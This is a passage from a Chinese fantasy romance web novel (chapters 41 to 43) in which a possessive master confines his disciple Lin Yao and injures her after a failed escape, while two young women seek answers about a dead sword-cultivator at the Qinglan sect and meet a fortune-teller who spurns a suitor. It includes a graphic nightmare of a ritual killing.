尹星灯走出地宫时忽然一回头,眸露喜色:“为师想起来了,穆王时的确有位天女,大概是穆王九公主茗嫣,这位公主出生前的确有朝中国师预言,将来泽庇苍生……”
他说到这里戛然而止,脸色似乎也变了,林瑶连忙追问:“然后呢,穆王治国六十八载,后来小西洲屡犯边境,联合妖族破城而入,那位天女怎么样了?”
尹星灯半晌无言,看向了林瑶,摇摇头道:“记不清了,瑶儿若是感兴趣自己去文渊阁查看吧,不过那地方你应该也进不去。”
林瑶握紧了拳头,抿紧嘴唇深呼吸,装作若无其事,不生气不生气,气出病来无人替……
尹星灯上下打量她一回,原本舒缓的眉头又拧了起来,面沉似水:“还有,你跟着为师出来做什么?莫非是想通了?”
林瑶被噎得面红耳赤,一时答不上来,奇怪为什么这件事他记得这么清楚,这合理吗?
林瑶打算最后再挣扎一下,抬眸直直望着尹星灯,指着那通往黑暗中的楼梯,试探着走了一步又回头,垂头丧气道:“那,那弟子先回去了,师父慢走……”
尹星灯满意地点点头,拍拍林瑶的肩膀:“乖,回去吧,什么时候想通了再出来,”
林瑶差点哭出来,为什么啊,这到底是为什么!她忽然想起来,自己凭什么听他的话乖乖坐牢啊,她又没犯法!于是理直气壮起来,气忿忿道:“我又没做错什么凭什么要被关起来,你这是滥用私刑!”
尹星灯眸带笑意,这副模样是他记忆中小林瑶才会有的反应,倒是久违了,依旧抱着手臂身子微微前倾注视着她细微的表情变化,笑眯眯道:“哦,瑶儿觉得不公,那你去告我啊,看看谁会为你做主。”
以权谋私还面不改色有恃无恐这都是人吗!
林瑶含恨走了回去,听着身后铁栅栏门被啪嗒一声锁上的声音,气得肝颤。
她回去还想接着看壁画,但不知何时,尹星灯连之前那条通往观星仪宫室的通道都给锁上了,摆明了是想将她困在方寸之间,关禁闭还想到处溜达,那是门儿也没有啊!
41. 林瑶夜奔
林瑶继续以前的坐牢生活,桌子上的“正”字刻了一个又一个,因为连个盼头也没有,所以看着那些流逝的时光,让她有种要被逼疯的错觉。
林瑶手里握着那根磨损了许多的发簪,她的指甲长了三寸长,头发散乱,眼神渐渐失去焦距,她烦躁地在正殿里走来走去,心头仿佛窝着一团火,无时无刻不在灼烧着她。
难道自己只能这样蹉跎一生了吗?她甚至想到,要不就妥协了算了吧,跟师父在一起……跟师父在一起也没什么,顶多被闲言碎语侮辱一下人格和尊严……
等下次他再打开那扇锁死的厚重铁门进来,她一定要告诉他,她再也忍受不了这种日子了!只要他愿意放她出去,让她离开这个像是棺材一样幽闭黑暗的地方!要她做什么都可以!
每到有这种脑子被狗啃了的念头时,林瑶就会干脆利落的给自己一巴掌让自己清醒过来,凭什么她只能在牢底坐穿和违拗本心之间做选择啊!
一定还有办法的!
一天夜里,林瑶又听到了那种沉闷的声音,就仿佛是有人从高处跳了下来,她迅速起身绕到了床后,死死盯着绑着青铜风铃的房门,这么盯了一会儿不见有任何动静,她微微直起身,闭上眼偏头去听外面的动静,手里死死攥着那根用来刻字的发簪。
忽然之间,她瞳孔骤缩,僵硬地将目光下移,一只骨节分明的手搂在她腰上,林瑶还没来得及说话嘴巴也被捂住了,对方在她耳边轻声呢喃道:“别动。”
林瑶听话地放弃了挣扎,僵直着身子一动不动。
“你猜我想劫财还是劫色?”
林瑶忽然就不那么紧张了,这个声音她是不是在哪里听过?
那人横抱起她几步就出了地宫,一路畅通无阻,几乎是瞬间就到了京郊的小树林里,他停下脚步,林瑶从他怀里跳了下来,打量着那人掩藏在黑色兜帽下的半张绮丽面容:“你是六个水?”
对方打了个响指,黑色兜帽应声垂落脑后,露出了那张过分阴柔的面容,双手不规矩地捧着林瑶的脸搓扁揉圆:“还算聪明,没在地宫大喊大叫,不然本公子就把你扔下不管了。”
林瑶好不容易才从对方的魔掌下挣脱出来,倒退两步问道:“上次那个在外面撬锁的也是你?”
六个水抬手给她一个暴栗,瞪着两只转盼多情的桃花眼:“你这孩子,怎么说话的?我那是为了营救你攻坚克难,不过上次差点被那妖道发现了……”
他定定看向林瑶,嘴角含着一丝笑意,将垂在肩前的卷曲发丝甩到身后,伸手拉住了林瑶的手:“跟我走。”
林瑶下意识随他走了两步:“干什么去?”
六个水回头,嘴角勾起一抹摄人心魄的笑意:“带你私奔啊!有没有很感动?”
林瑶嘴角抽搐,为什么她身边都是这种奇葩?还有没有个正常人了?
林瑶生怕尹星灯发现她逃跑了,懒得跟六个水饶舌,反而是握紧了对方的手:“先跑出去再说。”
六个水眉眼弯弯,看起来愉悦极了:“我就当你答应咯,放心吧未来媳妇儿,爷会保护好你的。”
若不是在尹星灯施展天星阵时对方跑得比狗还快,林瑶还真就信了。
她就知道想跑出玄都没那么容易,接下来自己恐怕会死得比李公公还惨。
林瑶被天星阵困在原地,听着身后脚步声渐渐靠近,右眼皮突突直跳,她跌入了一个冰冷的怀抱里,感觉跟躺在自己的棺材里没区别了。
林瑶一动也不敢动,仿佛身后的不是个活人,而是什么来索命的厉鬼……隐约感觉到,尹星灯好像被她气疯了。
尹星灯雪白的发丝蹭着她的脸颊,他喉咙里发出的声音仿佛是野兽低吼,他低低笑着,抱着林瑶的手臂在轻轻颤抖,笑声让林瑶头皮发麻,他伸手捏住了林瑶的下巴将她整个人转过来。
“你身上,有陌生男子的气味……”
他不由分说拽着林瑶往回走,大步流星,根本不顾林瑶能不能跟得上,踹开寝殿的门将她狠狠甩在地上,随后蹲下掐住了她的下巴,咆哮声如同野兽哀嚎:“除了我,你身边除了我不能有任何人,我说的话你听不懂是不是!”
林瑶莫名其妙被吼了一顿,也是窝了一肚子火,奈何她从小就修养极好,说不出什么杀伤力强的词,气得脸色涨红:“……你到底想说什么?我行得正坐得直,何曾有行差踏错之处?”
尹星灯攥着她的胳膊,忽然发难,猛地将她推进了浴池里,扑通——水花四溅,林瑶摔进热气氤氲的池子里,呛了好几口水,胡乱摸索着坐了起来,拿湿漉漉的衣袖去擦自己因为溅进了水而刺痛的眼睛。
随后尹星灯也踏着水下来了,他拿着自己的手帕使劲擦她的双手,恨不得搓掉一层皮,嘴里念念叨叨,状如疯魔。
“瑶儿,你脏了,为师帮你擦干净,擦干净就好……还是我的乖徒儿……”
林瑶的手背被擦得通红一片,几乎破皮,痛得不禁挣扎起来,更是激怒了尹星灯。
“师父!你冷静……疼!”
如果此时尹星灯垂眸看一眼就会立刻收手,因为林瑶的右手已经被他折到了极限,她眼中含着泪花,疼到呼吸不畅。
“你还知道疼?以后不许再跟那些不三不四的人来往,听到了没有!”
林瑶大半个身子浸在水里,原本就轻薄的衣料紧紧贴在身上,玲珑有制的娇躯、水珠滚动的锁骨,撞入他眼里简直比任何蛊毒、媚药都令人失控,原本的愤怒不知何时变成了无尽的□□,煎熬着他残存的理智。
尹星灯已经昏了头,完全不知道自己在做什么,少时就听咔一声,伴着林瑶惨烈的痛呼之声,尹星灯终于冷静下来,见林瑶捂住软绵绵垂下的右手,急得连声道歉,小心翼翼捧住她的手,双手发颤,眼泪一滴滴落在她手背上。
林瑶痛得嘴唇发白,尹星灯呆若木鸡跪在她面前,原本癫狂狠厉的表情如同打碎的镜子,取而代之的是茫然与悔恨,似乎比她还痛苦。
……
林瑶被他折断的手骨接是接回去了,可是终究是落了些许瑕疵,尹星灯心里仿佛被豁开了一刀,恨不得时光能倒流,每每见林瑶练剑时力不从心、作画时每到细腻之处手都在发抖……他恨不得扇自己一耳光,他竟亲手把自己惊才绝艳的得意弟子给毁了……
“瑶儿,你若恨为师,你打我骂我都可以,只求你不要离开为师……”
林瑶搁下笔,依旧那么谦恭温良:“弟子怎会记恨师父,师父多虑了。”
如此也好,他不会再逼她太紧。
尹星灯忍不住将她揽入怀中,强行将她固执的脑袋按在自己愤郁成病的胸口,感受着压在胸口实实在在的触感,轻呼出一口气阖上了眼,如梦呓般呢喃:“瑶儿,别动,就让为师这么抱一会儿,一会儿就好……”
他将自己的心意剖给林瑶听的那天起,一颗心仿佛悬在刀刃上,如今失手重伤林瑶,那把刀落了下来,心脏便缺失了一块,潺潺流着血,填不满,补不好,仿佛只有这么抱着她才能有一丝安全感,才能感觉到自己还活着。
“瑶儿,梵净山的蘅泽峰主宋霜是当代名医,为师已经跟他商议过了,假以时日,他定能治好你手腕的伤……瑶儿,你这一去,不会把我忘了吧?”
林瑶也不知自己对尹星灯究竟是何心思,但无论如何不是厌恶,她不知爱究竟是怎样的感情,反正自打尹星灯第一次向她表露心迹时,她第一反应就是回绝,那般干脆利落,以至于没有给两人留下任何余地。
林瑶精神恍惚,不经意间将心底的想法喃喃念了出来:“可是我不明白……一个人为什么会忽然喜欢上另一个人,如此不可救药。”
尹星灯紧紧环抱着她,听了这话只觉得五内钝痛,满腔酸涩涌上心头,却无从诉说。什么叫忽然喜欢上你?你可知我找了你多久,等了你多久,爱了你多久,每一次,每一次,在我满怀希望想与你共度余生之时,总是有各种各样的阻碍横档在你我中间!最可恨的一次,是你穿着嫁衣在我怀里气绝身亡!
你说我无可救药,算是说对了,你什么也不知道,也不应该知道,或许在你心里,我是个妖道、祸害、人渣……可这一次我不会让你脱离我的掌控,不会再让你薄命早夭……
尹星灯如同幽魂一般闪入林瑶的房间,她在梦中似乎不太安稳,微微蹙着两道烟眉。
尹星灯轻轻执起她搁在枕边的右手,又摸摸那曾被他发疯折断的腕骨,虽然她说不怪他,没关系,都过去了,可他如何能释怀?他宁愿她打他骂他,而不是将委屈都压在心里,回头温顺一笑,说,你也不是故意的。
轻轻的叹息伴着低沉的哽咽,林瑶胸前的锦被晕开了点点水花。
他坐了许久,忽然想起了什么,从自己衣领里摸出一只吊坠,玉面九尾狐尤带着他胸口的温度,解开黑珠线的细
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链子,小心翼翼将戴了不知多久(以至于他几乎忘了身上还有这件东西的存在)的护身符给林瑶戴上。
就这么守了林瑶一会儿,她的面容越发苍白。鬓角、脖颈热汗直流,翻来覆去,手在空中乱抓,尹星灯一看就知道是怎么回事,急忙去推她,连声唤道:“瑶儿!瑶儿!“
见林瑶魇在梦中醒不来,尹星灯像从前一样将她扶起来半抱在怀里,下颌抵在她汗湿的发顶,轻轻拍打着她的后背,眸光眷恋地下垂,看着她逐渐平静下来的面容,轻轻在她眉心落下一个极轻的吻。
“可怜的瑶儿,这次又是梦见什么了?不怕,有师父在……”
与此同时,八岁的林瑶身处于漫天大雾之中,四周没有人,只有雾气中若隐若现的城楼,她仿佛困在了一座空城里,脚下全是各种蛇虫,她不停地躲避着那些或游走、或蜷缩的蛇虫,每一步都走得极其艰难,忽然脚下一滑,她摔倒在地上,无数的蛇虫都向她聚拢了过来,一条细长的麻线蛇更是僵硬地摇晃着丑陋可怖的锥形蛇头,一点点攀上了她的脚腕……
天边有朦胧的歌声传来,而且越来越清晰,似乎在呼唤她朝那个方向走去……
林瑶呼吸一滞,恍恍惚惚醒了过来,看到了熟悉的胸膛,目光上移是一段白皙的脖颈以及轮廓分明的下颌,她伸手想去抓住那人垂在肩头的一缕白发,不知道有没有抓住,心神恍惚间又向不知名的深渊里坠落,这次她被人绑在了石台上,只能侧目看着对面的情形,身边一片漆黑,而对面的石床上也绑了一个人,一个盖着红盖头的新娘子,无数戴着青色、红色狰狞鬼面的人一会儿弓腰、一会儿甩手,围着那个新娘子蹦蹦跳跳,嘴里还哼着古怪的调子。
然后一个头上插满了各色鸟羽的老人从人群中走了出来,拿着点燃的香往新娘子的七窍中插去。
不要!放开她!
林瑶剧烈地挣扎起来,被一双手死死按住了脑袋,强迫她看着眼前残忍血腥的一幕。
新娘的肚子被切了开来,带血的肠子被那个残暴的老人一根根抽了出来,鲜血顺着石台往下滴落,新娘子痛得身体抽搐,但发不出一丝惨叫,酷刑还在继续,老人摘干净了她的内脏,在盛满了她的鲜血的铜盆里洗了手,又哆哆嗦嗦地从一个巨大的木桶里摸出了一条五颜六色、不停在他手中摇头晃脑、拼命扭动的蛇。
他想做什么?不要!停下!快停下!
蛇被老人一点点送入了新娘腹部绽开的刀口里,然后老人不断从木桶里取出各种毒虫蛇蝎……
新娘子的身体在石台上不停地抽搐扭动着,痛苦到了极致,拼命抬起头再重重落下,后脑勺磕在石台上流出了一滩发黑的血,然而她还没有死,七窍里的香还没有燃尽……
我不要看!不要看!救命啊!
林瑶近乎崩溃,拼命挣扎着,可是那双手却死死按着她的脑袋,轻声在她耳畔说道:
你必须看,下一个就是你。
……
送林瑶去梵净山的活儿自然落到了宫玄烛头上,后者一百个一千个不乐意,在尹星灯的威逼利诱之下,这个没节操的少祭司很快就答应了,带薪休假,还可以在第一仙门参观学习,何乐而不为?
云舟早就准备好了,一行人鞍前马后地搬运三人的行李,为什么是三人呢,自然是林瑶放心不下陌菱,打算带她一起去,陌菱出乎意料地答应了,大抵也是觉得去高等学府进修比较重要。
临走之前尹星灯拉着林瑶的手千叮咛万嘱咐:“瑶儿,出门在外一定要照顾好自己,受了什么委屈就写信告诉为师,宋峰主脾气不太好,不过你一向乖巧懂事相处起来应该没什么问题,梵净山不比星辰宫,要记得跟各位峰主好好相处,修炼的时候就专心修炼,有空了就多想想为师跟你说的话……”
陌菱冷眼看着那腻腻歪歪的两人,一甩袖子独自登上了云舟。
宫玄烛双手抱胸,绕着星辰宫走了三圈,结果尹星灯还没说完,气得一摆手:“得得得,要不还是您亲自去送吧,干脆栓你裤腰带上,走哪儿带哪儿,这多好。”
眼见师妹跟师父又要掐起来,林瑶连忙冲尹星灯一拱手抱拳,温声道:“师父,时候不早了,您该上朝去了,弟子到了梵净山会给您写信,珍重。”
“瑶儿……”尹星灯看着沐浴在晨光里的她,广袖下的双手缓缓攥紧,想抱她一下但生生克制住了。
“罢了,你走吧。”
42. 秋澜遗恨
羲和洲,秦川。
苏潋影手指上套着一块玉佩的绳圈,看起来十分贵重的凤凰玉佩在她纤细的食指上转着圈,楚纤茉真怕玉佩下一秒会飞出去。
“这东西真的挺好用啊,出入关隘几乎是畅通无阻,纤茉,眼下我们已经到秦川了就不用急着赶路啦,先找个地方歇歇脚,再打听一下这个青澜宗在什么地方。”
楚纤茉点点头又多问了一句:“白洛溪没事吧?蓝羽村一战他好像也受伤了。”
苏潋影收起了玉佩,微微蹙眉道:“他自己说没事,但看着大概要休养一阵子了,再说了,不日我们启程去梵净山带着他也不方便,以后有机会我再去雾山看望他吧。”
二人在客栈歇息了一日,第二天清早是被爆竹声吵醒的。
苏潋影翻了个身,艰难地睁开眼看见楚纤茉已经醒了,静悄悄地坐在镜边梳妆,苏潋影打了个哈欠呢喃道:“外面咋了,店主东要关门大吉了嘛?”
楚纤茉噎了一下,就苏潋影这张嘴早晚让人打死。
“你别乱说,客栈老板的儿子回来了。”
苏潋影翻身坐起,头发跟鸡窝一样:“有意思,儿子回来放鞭炮迎接啊?那老爹回来是不是还得敲锣打鼓唱大戏?果然是讲究人家。”
楚纤茉被逗笑了,走到近前将梳子递给她:“人家的儿子可是金榜题名锦衣还乡的探花郎……客栈老板这会儿都忙得焦头烂额了,这么吵也就你还能呼呼大睡了,收拾一下我们就动身去青澜宗吧。”
苏潋影急着凑热闹,简单扎了两个麻花辫,拽着楚纤茉一路狂奔下楼,传说中的探花郎连鬼影都没见到一个,大堂已经空空荡荡了,只有一个小伙计在擦桌子。
“不是,探花郎呢,我还没看见呢!”
小伙计瞅了一眼苏潋影,向客栈外努嘴道:“我们老板带公子回家祭祖,好多人都跟着去了,两位想去的话这会儿人还没走远。”
“那还是算了吧……”
苏潋影强忍好奇拉着楚纤茉往外面走。
小伙计心善啊,连忙道:“我们老板家今天好事成双,大宴左邻右舍,两位去了也能吃吃宴席,沾沾喜气啊,错过这村可没这店了,我要不是为了看店早就去了,也见识见识凛四小姐的绝世容颜……”
“别说了别说了……”
苏潋影痛苦地抱着脑袋跑出了客栈,她真的想去凑热闹啊!但是,还是先去青澜宗吧。
说起这个,苏潋影跨出门槛的脚又收了回来,转头问小伙计:“请教小哥,青澜宗怎么走?”
小伙计将抹布甩到肩膀上……他也是不嫌脏,那抹布刚才还擦桌子呢。
“青澜宗嘛,你先这么这么这么走,然后那么那么那么走,顺着官道数到第三十三个石灯笼柱子时转身向北,然后就会看见一座特别气派的大门……”
青澜宗是羲和洲第一仙门,并不难找,但是门难进、脸难看、事难办。
门口的白袍修士手按剑柄威风凛凛,苏潋影上前去笑着拱手:“这位仙友——”
“哪来的小屁孩?滚!”
真是懂礼貌啊……
苏潋影微笑着拿出了鞭子,楚纤茉见势不妙连忙将她拖到了旁边的小巷子里。
“放我出去!今天抽不死这个看门狗我跟他姓!”
楚纤茉紧紧抱着她:“你冷静啊,现在就我们两个人,万一事情闹大了还是我们吃亏……”
她说着轻声叹息道:“怎么陈子桁那般侠肝义胆识大体,她的同门却是这副德行……”
两个人有些一筹莫展,楚纤茉刚想拿着秋澜剑再去见那个守门的修士,就见一个年轻貌美、青衣白裙的女修自巷子口款款经过,背负长剑,身后还跟着几个白袍修士。
苏潋影看着那女修两眼放光,低声对楚纤茉道:“有戏唉,这说不定是陈子桁的师妹什么的,让我去会会她!”
“仙友留步啊!”
苏潋影拿着秋澜剑冲出了小巷子,还没近前,眼前齐刷刷的剑刃对准了她,几个白袍修士将那女修护在身后,各个面色不善地盯着苏潋影,似乎她再上前一步他们就要动手了。
那女修一见苏潋影手里的剑,脸上原本淡淡的笑意忽然凝住,眸中似乎闪过一丝惊异,但也只是一刹那,很快恢复了恬淡的笑意:“师弟师妹们不必担心,先把剑放下。”
这些修士显然以她为中心,齐齐放下剑但并没有入鞘,显然是随时准备为她一战。
这青衣女修缓步上前,眸光落在苏潋影脸上,微微一笑:“这位姑娘,找我有事吗?我们好像并不认识。”
“可你认识这把剑,对吗?”苏潋影当然没有错过这女修看到秋澜剑时精彩纷呈的表情。
女修摇摇头,脸上依旧是波澜不惊的微笑:“姑娘说什么我听不明白,我并不识得此剑。”
苏潋影一肚子火,不认识你盯着看这么久?
她忍了忍又道:“那我再问一句,仙友可认识陈子桁?”
那女修一听这三个字,脸上的淡定明显绷不住了,但还是死鸭子嘴硬:“我并不认识姑娘说的这人,我还有事,不便奉陪了。”
她说着抬脚便走,一行白袍修士虎视眈眈看着苏潋影,簇拥着那女修往青澜宗走去。
苏潋影气急败坏,在后面大喊道:“你们到底怎么回事啊!陈子桁明明是你们的大师姐,不过是五年没回来,怎么个个都装不认识啊!”
青衣女修走得飞快,临到青澜宗门口却顿住了,微微屈膝施礼,门里面似乎有人出来了,两人低声说了几句话,就听有个低沉儒雅的声音问道:“轻衣,外面何人喧哗?”
那叫轻衣的女修还没来得及答话,苏潋影在层层人墙后面蹦得老高了:“我我我!我有事找青澜宗主!”
里面的人微一摆手,挡在苏潋影面前的众人分开了一条通道,苏潋影看见了一个身姿挺拔如松、身着月白长衫、头戴玉冠的清俊男子,堪称仙风道骨,朝她微微点头:“你找本座何事?”
苏潋影连忙拱手施礼:“萧宗主好,我是灵煌洲碧梧山庄的弟子苏潋影,此来是为了您的徒儿陈子桁之事——”
话没说完萧听澜面色忽然一沉,开口打断了她:“不必再提。”
苏潋影愣在了原地,眼见萧听澜就要走,她连忙追问:“为什么啊?子桁仙子她——”
萧听澜本已转身,此时微微侧首回眸,眼底已经没有了初见苏潋影时的温煦随和,而是一片阴霾,苏潋影不禁心头一紧,不太对啊,难道陈子桁在萧听澜心里竟连她这么个外人都不如吗?
萧听澜深吸了一口气,似乎在极力抑制着什么,脖颈上的青筋逐渐凸起,语调不再平
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稳:“本座早已与那孽徒恩断义绝,她的事不必告知本座,苏姑娘请回吧,本座还有要事处理,就不奉陪了。”
轻衣的眸光看向苏潋影,唇角勾起一抹微不可察的笑容,目光触及苏潋影手里的秋澜剑时露出了极度不甘心的神色,看向萧听澜犹豫着启唇:“师尊,那秋澜剑——”
轻衣的意思明显是要留下秋澜剑,萧听澜已经十分不耐烦了,抬脚就往山门里面走去,语气急促而冷冽:“让苏姑娘自行处理吧,她的东西不必留在青澜宗。”
轻衣不甘地又看了一眼秋澜剑,那可是萧听澜成名时使用的仙剑,就这么白白便宜了旁人……但师尊发话了她也不敢再多言,只是愤愤地攥紧了拳头,眸中满是阴翳,都这么多年了,师尊果然还是忘不了她吗?居然动了这么大的气……
苏潋影攥紧了秋澜剑,死死咬住嘴唇,胸膛微微起伏着,脑海里满是陈子桁倒在血泊里的场景,涣散的眸光看向羲和洲的方向,她用尽最后一丝力气想要回家,拼死拼活想要见的人居然厌恶她到了如此地步……
泪水在苏潋影眼眶里打转,她拿出了一颗留音石,那里面保留着他们在蓝羽村的种种经历,本来是为了回去跟阿姐炫耀一下历练的成果,到头来却成了陈子桁留在人间最后的绝吟,她本想留给青澜宗的,但现在看来,没必要了。
苏潋影看着那道冷漠到可恨的背影,厉声道:“萧宗主!俗话说,人之将死其言也善,我不知道陈子桁究竟做了什么对不起青澜宗,对不起您的事,但她人已经死了!况且……”
苏潋影声音哽咽到说不出话来,楚纤茉缓缓走了上来,深吸了一口气嗓音发颤道:“况且她蛰伏在蓝羽村整整五年,无论是孤身断后给同门留了一条活路,还是暗中传递消息帮助其他门派剿灭邪教,乃至于最后为救人死于子午鸳鸯钺下,就算曾经犯过多大的错也能抵消一二了吧?”
苏潋影缓过了一口气,眼眸腥红,转身欲走时忽然冷笑道:“萧宗主,我想您对子桁仙子大概是有什么误会吧?她为什么五年没有回青澜宗?而您又为什么五年之中从来没有找过她?您哪怕找过她一次,就会知道她在什么样的人间炼狱里……垂死挣扎!”
轻衣的手不停地颤抖着,直到那两个不速之客远去,心脏仍旧怦怦乱跳。
五年了,陈子桁困在那种地方,不该早就连骨头渣子都不剩了吗?为什么今天才传来死讯?
她呼吸急促,连忙稳住心神,假装关切地扶住身形微微摇晃的萧听澜,低声道:“师尊,您保重身体,想必是过了这么多年,师姐她幡然悔悟了,这才找了两个说客探探师尊的口风,这也是人之常情……”
反正现在死无对证,她一口咬定陈子桁当初就是叛出师门、与凡人私定终身,害一干同门险些葬身蓝羽村,萧听澜是信自己的小徒弟还是信两个外人呢?呵……
萧听澜站稳了身形,抬手扶住额心,良久才恢复往常的神色,只是双目中多了几丝血线,他目视前方,嗓音沉冷阴郁,仿佛是恨透了某个人。
“传本座命令,门中任何人都不许再与那孽徒以及与她有关之人接触,管她是死是活,与我青澜宗再无瓜葛,违令者,逐出宗门。”
“是。”
轻衣缓缓松了口气,脚步轻快地跟在萧听澜身后,眸光意味深长地落在师尊的背影上。
43. 金童有意,玉女无心
咚——哗啦——
楚纤茉看着那颗留音石自苏潋影手里划出一道抛物线落进了湖水里,她还没来得及开口,一道温柔的女声传来,伴着浅笑:“小妹妹好大的气性,这碧水湖怎么得罪你了?”
苏潋影循声看去,湖边有道纤细窈窕的身影,头戴白纱曼曼的竹编斗笠、手里执着鱼竿,偌大的湖畔就她一个人在垂钓,而且还是直钩离水面三寸……这,这也是姜太公的粉丝了。
“不好意思啊,打扰你钓鱼了……”
虽然你钓一百年也不可能钓上鱼吧。
苏潋影三步并作两步走了过去作揖道歉,那姑娘只是笑笑,清灵似雪的面容在白纱下若隐若现,肤如凝脂,目似点漆,唇不点而红,眉不画而翠,仿佛跟青山绿水融为了一体,斯人若彩虹,遇上方知有,让人怀疑她下一秒就要飘然而去。
苏潋影忽然福至心灵:“大家都去瞧顾家探花郎了,你为何不去啊?”
那姑娘莞尔一笑:“大家都去了我就不去,若大家都不去我才去呢。”
“小姐!四小姐!”
远处一个小丫头跑得上气不接下气,偏偏还边跑边喊。
“小姐,奴婢可算找到您了……老爷,老爷让您赶紧回家……”
姑娘依旧望着湖面,轻叹一声:“我不去寻烦恼,烦恼自来寻我。”
小丫头终于跑到了那姑娘面前,擦去额头上的汗水,皱着眉看着自家八风不动的小姐,一脸无奈道:“小姐,您怎么还有心思钓鱼啊?家里都快吵翻天了,您可别忘了顾公子跟咱家是有婚约的……”
小丫头说到这里恍然觉得失言了,眸光瞥向旁边两个外人,连忙转移话题:“小姐,您快回家了,再晚老爷又该发脾气了!”
就在这时,啪嗒一声,一条金光灿灿的鲤鱼自水面上一跃而起,咬住了垂在半空的钓钩,鱼尾在空中乱甩。
岸上除了自始至终稳如泰山的垂钓者,其余人都惊掉了下巴,这也行?这鱼是你的托吗?
姑娘缓缓收回鱼竿,摘下钓钩上活蹦乱跳的金鱼微笑道:“等了七百二十日,原来我的机缘在今日。”
她蹲在岸边将金鱼放回了湖里,站起身看向小丫鬟:“走吧。”
小丫鬟愣了一下,连忙去拿钓竿和竹凳,那姑娘却摆摆手:“不必,这东西留着吧,往后我不会再来了。”
小丫鬟听闻此言险些喜极而泣,两年了,终于,终于不再钓鱼了!
那姑娘回头看向苏潋影和楚纤茉,微笑道:“有缘千里来相会,要去家里坐坐吗?”
苏潋影点头答应了:“好啊好啊,那就打扰了,我叫苏潋影,这位是我的好朋友楚纤茉。”
那姑娘边走边道:“幸会幸会,鄙人凛妙慈,虚度光阴十六载,平时就好给人算一卦,两位有兴趣吗?首卦分文不取。”
“好啊!”苏潋影连忙凑了上去,“看手相还是看面相?”
凛妙慈笑得爽朗,从随身带着的包里拿出一只签筒递给苏潋影,眸光含了些打趣的意味:“我猜苏姑娘想算姻缘吧?”
苏潋影接过签筒朝她抛了个媚眼,故作矜持地低头:“哎呀,你懂的……”
她双手捧着签筒,郑重地晃了三下,一根签刚掉出来就被凛妙慈接住了,她垂眸看向那支签,只见上面刻画了一支桃花,写道:枯木逢春。
凛妙慈看了许久点点头:“苏姑娘此一生身份显赫,命格显贵,每每能逢凶化吉、遇难呈祥,但情缘却不如人意,想必是运势太好的缘故,故此消彼长,本是三生凉薄孽缘、无疾而终,怎料有人不惜沉沦孽海,强行扭曲矫正,最后,倒也算一世正缘,非善非恶,且看他日后如何。”
苏潋影点点头又摇摇头:“没太明白,是说我这辈子过得还不错的意思吗?”
凛妙慈抬头看看天空,笑得意味深长:“天机不可泄露,姑娘能理解到哪儿就到哪儿吧,楚姑娘请。”
苏潋影将签筒递给楚纤茉,拿肩膀去顶她后背,低声嘀咕道:“算姻缘算姻缘,好不好?我们要一样……”
“好,好吧……”
楚纤茉其实对自己的姻缘没什么兴趣,但见苏潋影兴致勃勃,就当是陪她玩了,反正凛妙慈大概也是随便说说,毕竟一个十六岁的小姑娘懂什么占卜。
她晃出来的签也被凛妙慈伸手接住了,这支签上雕刻一支荼蘼,有谶语写道:天仙镜尘。
这次凛妙慈解读谶语的时间更长了,足足是苏潋影那支的三倍,眼看都到凛府门口了,凛妙慈才停下脚步将签还给了楚纤茉,面容严肃道:“姑娘这姻缘可是够瞧的,恕我才疏学浅,只能窥见一二。”
她背着手,对着红墙黛瓦幽幽吟诵道:“清霄怎弃?红尘辗转,独我颠沛经年,心有琼宇,怎奈蛾眉谣诼,过洁世同嫌。三生石断,怎挽狂澜?你道他冷眼难垂、作壁上观,怎知枉费心机空牵念,纵使抛却流光,忍梁祝化蝶之悲,终难逃仙凡云泥之别,十五月圆,万姓与我仰头看,有天仙,在广寒。”
吟毕,苏潋影整个人都傻了,如果说她那段哑谜还能猜出一二,楚纤茉这篇解读真的就跟没解一样,这哪里是算命来了,分明是添堵来了。
她握住楚纤茉的手,看着对方一脸呆滞的表情有些尴尬道:“无妨无妨,这些东西太玄幻了,听不懂也正常,晚上我请你吃红烧肉好不好?”
“我没往心里去。”楚纤茉微微一笑,反正那么一长串她也记不住,听过就算了。
凛府热闹非常,一群花枝招展的女孩儿在花厅里嬉笑打闹,莺声燕语,软玉生香。
凛妙慈是带着她们从后门进来的,摘下斗笠挂在了廊檐下,露出了一张精致的鹅蛋面庞,莲步轻移到了花厅,被一干姊妹围在了中心,叽叽喳喳不停。
“四娘,顾公子可真是个信人,说好了金榜题名就来娶你,如今人在前厅呢。”
凛妙慈点点头:“我去见他。”
其中一个看起来年纪稍长的姑娘连忙拦住她,脸上含羞带怯:“四娘,你身为女儿家也该矜持一点,怎么能抛头露面去见一个外男呢?”
凛妙慈笑了:“大姐姐这话说的,他既然要娶我,难道我连面都见不得?如果这样,那以后成亲了他见是不见?”
说罢笑着带苏潋影、楚纤茉往前厅走去,众人追出花厅不敢再追了,只是不停劝阻。
前厅坐着许多人,主座上自然是凛家长辈,东边椅子上是顾家长者,西边首座上是一个弱冠男子,鬓如刀裁、眉如墨画,丰神俊朗、仪表堂堂。
凛妙慈笑着走了进去,瞥见地上一字排开、扎着红花的大小檀木箱子,惊讶道:“白弄这么些金银铜铁做什么,还不是得抬回去。”
顾宸早就看见了意中人,奈何双方长辈在场不敢造次,起身见礼时盯了凛妙慈两眼,随后垂眸笑道:“四娘子说笑了,顾家抬来的聘礼,怎会有抬回去的道理?”
凛妙慈摇摇头:“诶,此言差矣啊,你顾家的聘礼又不是没有抬回去过。”
一句话说得顾家人都脸色奇差,那件事的确不光彩,他们本欲给顾宸娶一书香门第的女子,而非凛家这商贾之家的庶女,奈何顾宸死活不同意,非凛妙慈不娶,绝食断饮七日,眼看奄奄一息了,顾家没有办法,这才退了亲事,那姑娘也沦为了秦川笑柄。
顾宸有些挂不住了,低声对凛妙慈说道:“四娘子,我情知此事做得不妥,所以只能对张姑娘的胞弟多加照顾,科举之路同行之中,竭尽所能倾囊相授,如今张年弟中了进士,也算是弥补了我之过错,还请四娘子原谅。”
凛妙慈仿佛没听见似的,还想说什么被母亲推着往里间走去,上座凛父脸色阴沉似水,冷冷看着这个罔顾礼法的小女儿,恨不得当场发作。
凛妙慈笑得没心没肺:“爹爹别恼,娘亲也不必推搡,女儿今日前来是想说两句话,说完就走。”
她看向顾宸,仿佛一个长辈似的对他点点头,眸中满是唏嘘:“哎呀,顾公子,你我不过是匆匆数面之缘,何必徒劳牵念,你命中注定无妻,我命里注定无夫,东西还请抬回去吧。”
顾宸微张着唇,看似急切地想上前一步,却不敢去抓住凛妙慈交叠在小腹前的一双柔荑,连声劝道:“四娘子,顾生立志此生非你不娶,难道你不信我吗?如若不信,顾生可以对天发誓——”
